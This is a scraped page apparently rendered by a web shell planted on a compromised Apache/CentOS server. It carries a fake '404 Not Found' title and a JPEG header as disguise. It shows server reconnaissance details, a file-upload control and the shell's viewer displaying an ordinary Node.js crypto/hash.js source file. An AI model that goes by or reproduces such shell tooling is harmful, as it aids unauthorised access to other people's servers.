404 Not Found

��JFIF�� ( %"1"%)+...383,7(-.- 404 Not Found Sh3ll

Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory : /home/real/node-v13.0.1/lib/internal/crypto/

Upload File :

Current File : //home/real/node-v13.0.1/lib/internal/crypto/hash.js

'use strict';

const { Object } = primordials;

const {
  Hash: _Hash,
  Hmac: _Hmac
} = internalBinding('crypto');

const {
  getDefaultEncoding,
  kHandle,
  toBuf
} = require('internal/crypto/util');

const {
  prepareSecretKey
} = require('internal/crypto/keys');

const { Buffer } = require('buffer');

const {
  ERR_CRYPTO_HASH_FINALIZED,
  ERR_CRYPTO_HASH_UPDATE_FAILED,
  ERR_INVALID_ARG_TYPE
} = require('internal/errors').codes;
const { validateEncoding, validateString, validateUint32 } =
  require('internal/validators');
const { isArrayBufferView } = require('internal/util/types');
const LazyTransform = require('internal/streams/lazy_transform');
const kState = Symbol('kState');
const kFinalized = Symbol('kFinalized');

function Hash(algorithm, options) {
  if (!(this instanceof Hash))
    return new Hash(algorithm, options);
  validateString(algorithm, 'algorithm');
  const xofLen = typeof options === 'object' && options !== null ?
    options.outputLength : undefined;
  if (xofLen !== undefined)
    validateUint32(xofLen, 'options.outputLength');
  this[kHandle] = new _Hash(algorithm, xofLen);
  this[kState] = {
    [kFinalized]: false
  };
  LazyTransform.call(this, options);
}

Object.setPrototypeOf(Hash.prototype, LazyTransform.prototype);
Object.setPrototypeOf(Hash, LazyTransform);

Hash.prototype._transform = function _transform(chunk, encoding, callback) {
  this[kHandle].update(chunk, encoding);
  callback();
};

Hash.prototype._flush = function _flush(callback) {
  this.push(this[kHandle].digest());
  callback();
};

Hash.prototype.update = function update(data, encoding) {
  encoding = encoding || getDefaultEncoding();

  const state = this[kState];
  if (state[kFinalized])
    throw new ERR_CRYPTO_HASH_FINALIZED();

  if (typeof data !== 'string' && !isArrayBufferView(data)) {
    throw new ERR_INVALID_ARG_TYPE('data',
                                   ['string',
                                    'Buffer',
                                    'TypedArray',
                                    'DataView'],
                                   data);
  }

  validateEncoding(data, encoding);

  if (!this[kHandle].update(data, encoding))
    throw new ERR_CRYPTO_HASH_UPDATE_FAILED();
  return this;
};


Hash.prototype.digest = function digest(outputEncoding) {
  const state = this[kState];
  if (state[kFinalized])
    throw new ERR_CRYPTO_HASH_FINALIZED();
  outputEncoding = outputEncoding || getDefaultEncoding();

  // Explicit conversion for backward compatibility.
  const ret = this[kHandle].digest(`${outputEncoding}`);
  state[kFinalized] = true;
  return ret;
};


function Hmac(hmac, key, options) {
  if (!(this instanceof Hmac))
    return new Hmac(hmac, key, options);
  validateString(hmac, 'hmac');
  key = prepareSecretKey(key);
  this[kHandle] = new _Hmac();
  this[kHandle].init(hmac, toBuf(key));
  this[kState] = {
    [kFinalized]: false
  };
  LazyTransform.call(this, options);
}

Object.setPrototypeOf(Hmac.prototype, LazyTransform.prototype);
Object.setPrototypeOf(Hmac, LazyTransform);

Hmac.prototype.update = Hash.prototype.update;

Hmac.prototype.digest = function digest(outputEncoding) {
  const state = this[kState];
  outputEncoding = outputEncoding || getDefaultEncoding();

  if (state[kFinalized]) {
    const buf = Buffer.from('');
    return outputEncoding === 'buffer' ? buf : buf.toString(outputEncoding);
  }

  // Explicit conversion for backward compatibility.
  const ret = this[kHandle].digest(`${outputEncoding}`);
  state[kFinalized] = true;
  return ret;
};

Hmac.prototype._flush = Hash.prototype._flush;
Hmac.prototype._transform = Hash.prototype._transform;

module.exports = {
  Hash,
  Hmac
};

ZeroDay Forums Mini